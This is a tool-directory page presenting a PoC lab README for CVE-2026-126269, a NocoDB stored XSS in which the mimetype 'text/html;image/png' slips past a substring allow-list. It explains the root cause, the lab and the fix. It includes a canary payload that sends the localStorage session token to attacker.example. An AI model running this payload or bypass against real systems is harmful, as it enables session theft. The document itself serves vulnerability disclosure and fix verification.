Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Tools/GitHubGitHub/googlesky/cve-2026-126269
Vulnerability AnalysisExploitationWeb Application ExploitationSecurity VirtualizationWeb SecurityLabs & Practice
GitHubgooglesky/cve-2026-126269

CVE-2026-126269

Differential proof-of-concept lab for CVE-2026-126269, a NocoDB stored XSS via attachment MIME allow-list bypass that serves attacker HTML inline from /dltemp.

View Repository
5 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    936
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    353
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    348
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    336
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    288

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-126269 — NocoDB Stored XSS: Substring MIME Allow-List Lets text/html;image/png Render Same-Origin via /dltemp

License: MIT Research status: validated

CVECVE-2026-126269 (GHSA-3f7w-wqf7-786q, High 8.7 CVSS v3.1)
ComponentNocoDB — attachmentHelpers.ts preview gate, PresignedUrl.ts serve path, /dltemp handler (attachments.controller.ts)
Affected< 2026.09.0
Fixed in2026.09.0 (Content-Disposition: attachment + X-Content-Type-Options: nosniff on signed serves)
CWECWE-79 (Cross-site Scripting)
ImpactAn Editor stores the crafted mimetype text/html;image/png on an attachment cell through the records API; the unauthenticated /dltemp signed URL then serves the attacker's HTML inline from the NocoDB origin — same-origin script execution, able to read the session token from localStorage["nocodb-gui-v2"]
VectorRecords API write (Editor+) + unauthenticated signed-URL fetch (no interaction with the attacker's account; victim opens the record or the link)
TriggerAttachment cell mimetype = "text/html;image/png" — passes the substring allow-list while resolving to text/html
CreditReported by @PratibhaDevi29; advisory published by mertmit (NocoDB)

The attachment preview gate asked previewableMimeTypes.some((type) => mimetype.includes(type)) — a substring test over the whole stored string — and the records API stored an attachment cell's mimetype without validation. A value like text/html;image/png therefore sails through the allow-list while resolving to text/html, and the read path echoes the stored mimetype verbatim as the response Content-Type with Content-Disposition: inline — no X-Content-Type-Options: nosniff, no script-src policy. This lab proves the full chain against the official images with three independent server-side markers: the vulnerable build serves the attacker's HTML document inline with the echoed content type to unauthenticated callers; the fixed build serves the identical cell with Content-Disposition: attachment and X-Content-Type-Options: nosniff.

1. Root cause

Three defects compose:

  1. Substring allow-list (attachmentHelpers.ts): previewableMimeTypes.some((type) => mimetype.includes(type)) — text/html;image/png contains image/png and passes, while parsing as text/html.
  2. Unvalidated storage (records API): the multipart upload normalizes an uploaded part's content type (image/png in this lab), but an attachment cell's mimetype written through POST/PATCH /api/v2/tables/{tableId}/records is stored verbatim.
  3. Verbatim echo, inline, no nosniff (PresignedUrl.ts → /dltemp): the read path mints a signed URL for the cell and serves it with the cell's mimetype as the response content type, Content-Disposition: inline, and no X-Content-Type-Options / script-src policy.

The signed URL requires no authentication, so anyone holding the link — or the victim opening the record in the app (the in-app preview embeds the same response) — executes the payload in the NocoDB origin.

2. Reproduction environment

serviceimagerole
nocodb-vuln2026.08.2vulnerable side (admin bootstrapped from env)
nocodb-fixed2026.09.0fixed side, identical configuration
poc—stdlib Python driver; performs the whole chain via the API and inspects the unauthenticated serve

All containers are CPU/memory bounded on the isolated cve126269lab network. No browser is needed: the stored-XSS condition is fully determined by the server's response headers and body, which the PoC captures.

3. Running the environment

./run-lab.sh build     # PoC runner image
./run-lab.sh sweep     # exploit / probe / mitigation / check
./run-lab.sh down

Single mode:

podman run --rm --network=cve126269lab cve-2026-126269-poc:local exploit

4. The PoC

poc/poc.py — stdlib-only, four modes:

modepurpose
checkrun the whole chain against one target (one canary record; documented side effect) and classify the signed serve
exploitfull differential: the vulnerable build must serve the crafted HTML inline with the echoed content type; the fixed build must not
probecompanion primitives: upload-time mimetype normalization (the gap is the records-API write, not the upload), unauthenticated serving of the crafted cell, and the original upload-time signed URL remaining image/png
mitigationmaps the exposure to the records-API write path on the same vulnerable binary; upgrade to ≥ 2026.09.0 is the complete fix

Exit codes: 0 safe / mapped, 1 vulnerable, 2 target unreachable, 3 inconclusive, 4 internal error.

5. Expected results

reproduction pathvulnerable 2026.08.2fixed 2026.09.0evidence
crafted cell (text/html;image/png), read-time signed URL, unauthenticated GETContent-Type: text/html;image/png, Content-Disposition: inline, no nosniff, HTML document servedsame cell served with Content-Disposition: attachment + X-Content-Type-Options: nosniffevidence/poc-exploit.txt
upload-time mimetypenormalized to image/pngnormalizedevidence/poc-probe.txt
original upload-time signed URLstill serves image/png inline—evidence/poc-probe.txt
check canaryserved-inline-html → exit 1—evidence/poc-check.txt

The attacker's served document is a canary (fetch("//attacker.example/?t="+localStorage["nocodb-gui-v2"])): it demonstrates that the served document is attacker-controlled HTML executing in the NocoDB origin, and the advisory documents the localStorage session-token reach.

6. Environment preconditions

  • Podman with podman compose; --cpus 2 --memory 4g per container; isolated cve126269lab network.
  • Outbound network once, to pull the two official nocodb/nocodb images.
  • NocoDB serves its frontend (HTTP 200 on /) before the API router is mounted; the PoC retries sign-in through the boot window.

7. Additional findings (0-day sweep)

  • The fixed build still echoes the cell-supplied Content-Type: text/html;image/png — the neutralization relies entirely on Content-Disposition: attachment + nosniff. Any consumer that renders the response without honoring those headers (a custom integration, an in-app iframe that strips disposition) remains exposed; upgrading removes the substring gate upstream and is the complete fix.
  • The original upload-time signed URL continues to serve image/png even on the vulnerable build — exposure is bounded to cells whose mimetype was rewritten through the records API after upload (evidence/poc-probe.txt). Deployments that proxy all attachment reads and re-derive content types from the stored file bypass the issue.
  • X-Content-Type-Options: nosniff is absent on vulnerable responses; with a content type of text/html;image/png, browsers honor the text/html prefix directly — no sniffing needed — so the missing header is not load-bearing for the exploit, only for the fix's completeness.
  • No additional /dltemp defects were found on the fixed build: the same crafted cell that renders on 2026.08.2 downloads on 2026.09.0.

8. Repository layout

Download Tool